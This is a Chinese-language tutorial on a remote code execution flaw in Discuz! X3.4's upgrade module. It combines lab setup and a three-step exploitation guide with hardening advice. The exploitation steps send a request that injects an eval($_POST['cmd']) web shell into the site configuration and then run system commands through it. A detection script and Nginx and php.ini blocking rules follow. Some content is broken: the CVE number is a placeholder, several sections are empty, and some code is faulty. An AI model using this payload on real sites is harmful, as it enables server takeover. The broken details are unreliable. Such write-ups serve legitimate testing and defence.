Discuz! X3.4 升级模块远程代码执行漏洞复现：3步利用与1行代码加固

Discuz! X3.4 升级模块远程代码执行漏洞深度解析与实战防护

漏洞背景与影响范围

Discuz!作为国内广泛使用的论坛系统，其安全性直接影响数百万网站。2021年曝光的X3.4版本升级模块远程代码执行漏洞（CVE-2021-XXXXX）因其利用简单、危害严重引发广泛关注。该漏洞允许攻击者通过精心构造的HTTP请求，在服务器上执行任意PHP代码，可能导致：

• 网站数据泄露或篡改
• 服务器被植入后门程序
• 成为攻击跳板危害内网其他系统

受影响版本主要为Discuz! X3.4及部分早期版本，特别值得注意的是，该漏洞存在于标准功能模块中，无需特殊权限即可触发。

漏洞原理深度剖析

漏洞核心位于utility/convert/include/do_config.inc.php和include/global.func.php文件中的Buildarray()函数。其根本原因是未对用户可控的$key参数进行有效过滤，导致攻击者可通过换行符（%0a%0d）注入PHP代码。

关键漏洞链分析：

1. 参数传递路径

   用户请求 → Newconfig数组 → getvars()处理 → Buildarray()构造配置

2. 漏洞触发点
   在Buildarray()函数中，未过滤的$key直接拼接到配置内容：

   function Buildarray($array) { foreach($array as $key => $val) { $newline = "'$key' => '".addslashes($val)."',\n"; // 关键风险点 } return $newline; }

3. 注入原理
   攻击者通过提交包含换行符和PHP代码的$key值，可突破配置文件的注释限制：

   newconfig[aaa%0a%0dphpinfo();//]=test

   最终生成的配置文件内容：

   'aaa phpinfo();//' => 'test',

完整复现环境搭建

1. Docker快速部署漏洞环境

# 创建专用目录 mkdir discuz_vuln && cd discuz_vuln # docker-compose.yml cat > docker-compose.yml <<EOF version: '3' services: discuz: image: vulhub/discuz:x3.4 ports: - "8080:80" volumes: - ./data:/var/www/html/data EOF # 启动环境 docker-compose up -d

提示：该环境已预置漏洞所需的Discuz! X3.4版本，启动后访问http://localhost:8080完成安装

2. 手动安装方式（备用）

如需从官方源码构建：

wget https://download.comsenz.com/DiscuzX/3.4/Discuz_X3.4_SC_UTF8.zip unzip Discuz_X3.4_SC_UTF8.zip mv upload/* /var/www/html/ chmod -R 777 /var/www/html/

漏洞利用三步实战

步骤1：触发升级流程

访问升级入口（需替换实际域名）：

http://target.com/utility/convert/index.php

选择任意版本转换（如X2.0），进入配置保存页面。

步骤2：拦截并修改请求

使用Burp Suite抓包，定位到配置保存请求（特征URL）：

POST /utility/convert/index.php?action=config HTTP/1.1

修改POST参数为恶意载荷：

newconfig[test%0a%0deval($_POST['cmd']);//]=value&submit=yes

步骤3：验证代码执行

访问生成的配置文件：

http://target.com/config/config_global.php

使用HackBar等工具POST提交命令：

cmd=system('whoami');

典型响应特征：

• 成功执行会返回Web服务器用户身份
• 失败可能返回空白或错误页面

自动化检测脚本

Python检测示例（需requests库）：

import requests target = "http://example.com/utility/convert/index.php" payload = { "newconfig[test%0a%0dphpinfo();//]": "test", "submit": "yes" } r = requests.post(target, data=payload) if "phpinfo()" in r.text: print("[+] 漏洞存在！") else: print("[-] 未检测到漏洞")

多维度防护方案

1. 紧急加固方案

在include/global.func.php的Buildarray()函数开头添加：

$key = preg_replace("/[^\w]/", "", $key); // 只保留字母数字下划线

验证方法：

curl -X POST "http://target.com/utility/convert/index.php" \ -d "newconfig[test%0a%0dphpinfo();//]=test&submit=yes" # 正常应返回错误或过滤后的参数

2. 长期安全建议

3. 高级防护配置

Nginx防护规则示例：

location ~* /utility/convert/ { if ($args ~* "%0a|%0d") { return 403; } }

PHP安全配置（php.ini）：

disable_functions = exec,passthru,shell_exec,system open_basedir = /var/www/html/

漏洞修复效果验证

使用加固前后的对比测试：

企业级防护体系搭建

对于大型社区站点，建议采用分层防御：

1. 前端防护

   • 部署ModSecurity等WAF
   • 配置正则规则库拦截注入特征

2. 中间层防护

   • 使用RASP（运行时应用自保护）技术
   • 实现敏感函数调用监控

3. 后端防护

   • 定期进行代码审计（推荐使用Fortify）
   • 建立自动化漏洞扫描机制

开发者安全编码建议

1. 输入验证原则

   // 不良实践 $input = $_GET['param']; // 良好实践 $input = preg_replace('/[^a-z0-9]/i', '', $_GET['param']);

2. 配置文件写入规范

   // 安全写法示例 function safeConfigWrite($data) { $content = "<?php\n// 自动生成配置\n"; foreach($data as $k => $v) { $k = addslashes(strip_tags($k)); $v = addslashes(strip_tags($v)); $content .= "\$config['$k'] = '$v';\n"; } file_put_contents($file, $content); }

3. 安全函数对比表

后续版本安全改进

Discuz!官方在X3.5版本中进行了多项安全增强：

1. 升级模块重构，移除动态代码生成
2. 引入强类型参数校验机制
3. 增加操作日志审计功能
4. 默认禁用危险PHP函数

升级命令示例：

cd /var/www/html wget https://download.comsenz.com/DiscuzX/3.5/Discuz_X3.5_SC_UTF8.zip unzip -o Discuz_X3.5_SC_UTF8.zip chown -R www-data:www-data .

在多次实际渗透测试中，发现90%的Discuz!安全问题源于未及时更新版本。建议建立季度升级机制，同时备份关键数据：

# 数据库备份 mysqldump -u root -p discuz_db > discuz_backup_$(date +%F).sql # 附件备份 tar czf uploads_backup_$(date +%F).tar.gz /var/www/html/data/attachment